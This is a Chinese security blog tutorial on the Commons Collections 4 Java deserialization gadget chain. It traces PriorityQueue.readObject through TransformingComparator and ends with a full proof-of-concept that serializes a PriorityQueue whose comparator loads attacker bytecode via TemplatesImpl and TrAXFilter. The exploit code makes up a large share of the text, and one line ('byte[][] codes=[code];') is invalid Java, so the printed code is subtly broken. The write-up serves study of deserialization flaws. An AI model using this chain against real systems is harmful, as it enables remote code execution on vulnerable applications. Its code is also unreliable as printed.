java安全之CommonsCollections4詳解

更新時(shí)間：2022年08月17日 16:41:56 作者：XINO

這篇文章主要介紹了java安全之CommonsCollections4詳解

引子

CC4簡(jiǎn)單來(lái)說(shuō)就是CC3前半部分和CC2后半部分拼接組成的，對(duì)于其利用的限制條件與CC2一致，一樣需要在commons-collections-4.0版本使用，原因是TransformingComparator類(lèi)在3.1-3.2.1版本中還沒(méi)有實(shí)現(xiàn)Serializable接口，無(wú)法被反序列化。

接下來(lái)讓我們仔細(xì)分析一下。

PriorityQueue

PriorityQueue是一個(gè)優(yōu)先隊(duì)列，作用是用來(lái)排序，重點(diǎn)在于每次排序都要觸發(fā)傳入的比較器comparator的compare()方法在CC2中，此類(lèi)用于調(diào)用PriorityQueue重寫(xiě)的readObject來(lái)作為觸發(fā)入口

PriorityQueue中的readObject間接調(diào)用了compare() 而compare()最終調(diào)用了transform()

readobject()方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();
    // Read in (and discard) array length
    s.readInt();
    queue = new Object[size];
    // Read in all elements.
    for (int i = 0; i &lt; size; i++)
        queue[i] = s.readObject();
    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

重寫(xiě)了該方法并在最后調(diào)用了heapify()方法，我們跟進(jìn)一下：

private void heapify() {
    for (int i = (size &gt;&gt;&gt; 1) - 1; i &gt;= 0; i--)
        siftDown(i, (E) queue[i]);
}

這里的話需要長(zhǎng)度等于2才能進(jìn)入for循環(huán)，我們要怎樣改變長(zhǎng)度呢。

這里用到的是該類(lèi)的add方法，將指定的元素插入此優(yōu)先級(jí)隊(duì)列。

heapify()調(diào)用了siftdown()方法

繼續(xù)跟進(jìn)：

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

可以看到判斷條件

 if (comparator != null)

調(diào)用了

siftDownUsingComparator(k, x);

在siftDownUsingComparator()又調(diào)用了 comparator.compare()。

TransformingComparator

可以看到該類(lèi)在CC3的版本中不能反序列化，在CC4的版本中便可以了。

TransformingComparator是一個(gè)修飾器，和CC1中的ChainedTransformer類(lèi)似。

TransformingComparator里面存在compare方法，當(dāng)我們調(diào)用時(shí)就會(huì)調(diào)用傳入transformer對(duì)象的transform方法具體實(shí)現(xiàn)是this.transformer在傳入ChainedTransformer后，會(huì)調(diào)用ChainedTransformer#transform反射鏈。

問(wèn)題

1.就像剛才heapify里面所說(shuō)的

private void heapify() {
    for (int i = (size &gt;&gt;&gt; 1) - 1; i &gt;= 0; i--)
        siftDown(i, (E) queue[i]);
}

我們要進(jìn)入循環(huán)要修改值，通過(guò)add方法。

priorityQueue.add(1);
priorityQueue.add(2);

2.initialCapacity的值要大于1

3.comparator != null

4.通過(guò)反射來(lái)修改值防止在反序列化前調(diào)用，就如之前的鏈一樣，我們到利用時(shí)再用反射修改參數(shù)。

類(lèi)似這個(gè)樣子：

Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);

我們先放置個(gè)反序列化前不會(huì)執(zhí)行這條鏈的隨便一個(gè)參數(shù)：

TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

POC

package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.convert.TransformWriteField;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.crypto.dsig.Transform;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"XINO");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
        byte[][] codes=[code];
        bytecodesField.set(templates,codes);
        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,chainedTransformer);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }
    public static void unserialize(Object obj) throws Exception{
        ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
        oss.readObject();
    }
}